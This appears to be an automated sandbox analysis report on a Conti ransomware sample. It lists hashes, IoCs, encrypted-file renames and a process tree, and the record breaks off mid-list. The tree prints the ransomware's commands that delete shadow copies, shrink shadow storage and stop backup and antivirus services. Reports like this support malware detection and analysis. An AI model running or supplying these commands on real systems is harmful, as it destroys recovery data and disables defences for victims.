Analysis
-
max time kernel
75s -
max time network
78s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
28-09-2021 08:24
Static task
static1
Behavioral task
behavioral1
Sample
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe
Resource
win10v20210408
General
-
Target
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe
-
Size
101KB
-
MD5
99e55ce93392068c970384ab24a0e13d
-
SHA1
7b5da09b8601ae4b4c934a5a46309f924591bb30
-
SHA256
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e
-
SHA512
bb71853e46682ad0a81965edd7d1fbc523cce6f6e2d8641a11d5631738368531b0842bd860e384baf53a11e49be1f7c8c0ca33b1c11742a139f514966e1edb32
Malware Config
Signatures
-
Conti Ransomware
Ransomware generally thought to be a successor to Ryuk.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exedescription ioc process File renamed C:\Users\Admin\Pictures\StopImport.png => C:\Users\Admin\Pictures\StopImport.png.CONTI 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Pictures\UpdateRestore.tiff 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File renamed C:\Users\Admin\Pictures\UseUnregister.crw => C:\Users\Admin\Pictures\UseUnregister.crw.CONTI 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File renamed C:\Users\Admin\Pictures\UpdateRestore.tiff => C:\Users\Admin\Pictures\UpdateRestore.tiff.CONTI 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File renamed C:\Users\Admin\Pictures\UnprotectResume.crw => C:\Users\Admin\Pictures\UnprotectResume.crw.CONTI 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe -
Drops desktop.ini file(s) 24 IoCs
Processes:
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exedescription ioc process File opened for modification C:\Users\Public\Downloads\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Libraries\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Links\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Documents\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Music\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Desktop\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Documents\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Videos\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Pictures\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Searches\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Videos\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Music\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\AccountPictures\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe -
Enumerates connected drives 3 TTPs 18 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exedescription ioc process File opened (read-only) \??\E: vssadmin.exe File opened (read-only) \??\e: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\h: vssadmin.exe File opened (read-only) \??\D: vssadmin.exe File opened (read-only) \??\h: vssadmin.exe File opened (read-only) \??\H: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\g: vssadmin.exe File opened (read-only) \??\G: vssadmin.exe File opened (read-only) \??\e: vssadmin.exe File opened (read-only) \??\E: vssadmin.exe File opened (read-only) \??\f: vssadmin.exe File opened (read-only) \??\f: vssadmin.exe File opened (read-only) \??\g: vssadmin.exe File opened (read-only) \??\G: vssadmin.exe File opened (read-only) \??\H: vssadmin.exe File opened (read-only) \??\D: vssadmin.exe -
Interacts with shadow copies 2 TTPs 14 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exepid process 808 vssadmin.exe 1136 vssadmin.exe 2184 vssadmin.exe 1168 vssadmin.exe 3972 vssadmin.exe 2576 vssadmin.exe 2364 vssadmin.exe 2792 vssadmin.exe 3152 vssadmin.exe 3172 vssadmin.exe 1796 vssadmin.exe 1820 vssadmin.exe 4060 vssadmin.exe 856 vssadmin.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exepid process 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
vssvc.exedescription pid process Token: SeBackupPrivilege 1416 vssvc.exe Token: SeRestorePrivilege 1416 vssvc.exe Token: SeAuditPrivilege 1416 vssvc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 364 wrote to memory of 680 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 680 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 680 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 680 wrote to memory of 1168 680 cmd.exe vssadmin.exe PID 680 wrote to memory of 1168 680 cmd.exe vssadmin.exe PID 680 wrote to memory of 1168 680 cmd.exe vssadmin.exe PID 364 wrote to memory of 1632 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 1632 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 1632 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1632 wrote to memory of 1820 1632 cmd.exe vssadmin.exe PID 1632 wrote to memory of 1820 1632 cmd.exe vssadmin.exe PID 1632 wrote to memory of 1820 1632 cmd.exe vssadmin.exe PID 364 wrote to memory of 1688 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 1688 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 1688 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1688 wrote to memory of 2364 1688 cmd.exe vssadmin.exe PID 1688 wrote to memory of 2364 1688 cmd.exe vssadmin.exe PID 1688 wrote to memory of 2364 1688 cmd.exe vssadmin.exe PID 364 wrote to memory of 2472 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 2472 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 2472 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 2472 wrote to memory of 2792 2472 cmd.exe vssadmin.exe PID 2472 wrote to memory of 2792 2472 cmd.exe vssadmin.exe PID 2472 wrote to memory of 2792 2472 cmd.exe vssadmin.exe PID 364 wrote to memory of 3096 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 3096 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 3096 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 3096 wrote to memory of 3972 3096 cmd.exe vssadmin.exe PID 3096 wrote to memory of 3972 3096 cmd.exe vssadmin.exe PID 3096 wrote to memory of 3972 3096 cmd.exe vssadmin.exe PID 364 wrote to memory of 4044 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 4044 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 4044 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 4044 wrote to memory of 4060 4044 cmd.exe vssadmin.exe PID 4044 wrote to memory of 4060 4044 cmd.exe vssadmin.exe PID 4044 wrote to memory of 4060 4044 cmd.exe vssadmin.exe PID 364 wrote to memory of 3168 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 3168 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 3168 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 3168 wrote to memory of 3152 3168 cmd.exe vssadmin.exe PID 3168 wrote to memory of 3152 3168 cmd.exe vssadmin.exe PID 3168 wrote to memory of 3152 3168 cmd.exe vssadmin.exe PID 364 wrote to memory of 3992 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 3992 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 3992 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 3992 wrote to memory of 2576 3992 cmd.exe vssadmin.exe PID 3992 wrote to memory of 2576 3992 cmd.exe vssadmin.exe PID 3992 wrote to memory of 2576 3992 cmd.exe vssadmin.exe PID 364 wrote to memory of 3200 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 3200 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 3200 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 3200 wrote to memory of 3172 3200 cmd.exe vssadmin.exe PID 3200 wrote to memory of 3172 3200 cmd.exe vssadmin.exe PID 3200 wrote to memory of 3172 3200 cmd.exe vssadmin.exe PID 364 wrote to memory of 2652 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 2652 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 2652 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 2652 wrote to memory of 808 2652 cmd.exe vssadmin.exe PID 2652 wrote to memory of 808 2652 cmd.exe vssadmin.exe PID 2652 wrote to memory of 808 2652 cmd.exe vssadmin.exe PID 364 wrote to memory of 508 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 508 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 364 wrote to memory of 508 364 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 508 wrote to memory of 856 508 cmd.exe vssadmin.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe"C:\Users\Admin\AppData\Local\Temp\456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe"1⤵
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:364 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin Delete Shadows /all /quiet2⤵
- Suspicious use of WriteProcessMemory
PID:680 -
C:\Windows\SysWOW64\vssadmin.exevssadmin Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1168 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1820 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2364 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:2472 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2792 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:3096 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3972 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4060 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3152 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:3992 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2576 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3172 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:808 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:508 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:856 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB2⤵PID:1228
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1136 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded2⤵PID:1920
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1796 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin Delete Shadows /all /quiet2⤵PID:2416
-
C:\Windows\SysWOW64\vssadmin.exevssadmin Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2184 -
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "Acronis VSS Provider" /y2⤵PID:2804
-
C:\Windows\SysWOW64\net.exenet stop "Acronis VSS Provider" /y3⤵PID:2708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Acronis VSS Provider" /y4⤵PID:4016
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "Enterprise Client Service" /y2⤵PID:4000
-
C:\Windows\SysWOW64\net.exenet stop "Enterprise Client Service" /y3⤵PID:3980
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Enterprise Client Service" /y4⤵PID:4020
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "SQLsafe Backup Service" /y2⤵PID:3964
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Backup Service" /y3⤵PID:3188
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Backup Service" /y4⤵PID:2872
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "SQLsafe Filter Service" /y2⤵PID:1864
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Filter Service" /y3⤵PID:4040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Filter Service" /y4⤵PID:2576
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "Veeam Backup Catalog Data Service" /y2⤵PID:988
-
C:\Windows\SysWOW64\net.exenet stop "Veeam Backup Catalog Data Service" /y3⤵PID:2880
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y4⤵PID:2240
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop AcronisAgent /y2⤵PID:1800
-
C:\Windows\SysWOW64\net.exenet stop AcronisAgent /y3⤵PID:628
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y4⤵PID:2652
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop AcrSch2Svc /y2⤵PID:3852
-
C:\Windows\SysWOW64\net.exenet stop AcrSch2Svc /y3⤵PID:3960
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y4⤵PID:3836
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop Antivirus /y2⤵PID:2012
-
C:\Windows\SysWOW64\net.exenet stop Antivirus /y3⤵PID:1216
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Antivirus /y4⤵PID:1996
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ARSM /y2⤵PID:2140
-
C:\Windows\SysWOW64\net.exenet stop ARSM /y3⤵PID:1808
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ARSM /y4⤵PID:2144
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecAgentAccelerator /y2⤵PID:2776
-
C:\Windows\SysWOW64\net.exenet stop BackupExecAgentAccelerator /y3⤵PID:2340
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y4⤵PID:2664
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecAgentBrowser /y2⤵PID:2740
-
C:\Windows\SysWOW64\net.exenet stop BackupExecAgentBrowser /y3⤵PID:2784
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y4⤵PID:2800
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecDeviceMediaService /y2⤵PID:4060
-
C:\Windows\SysWOW64\net.exenet stop BackupExecDeviceMediaService /y3⤵PID:3516
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDeviceMediaService /y4⤵PID:3976
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecJobEngine /y2⤵PID:1852
-
C:\Windows\SysWOW64\net.exenet stop BackupExecJobEngine /y3⤵PID:3188
-
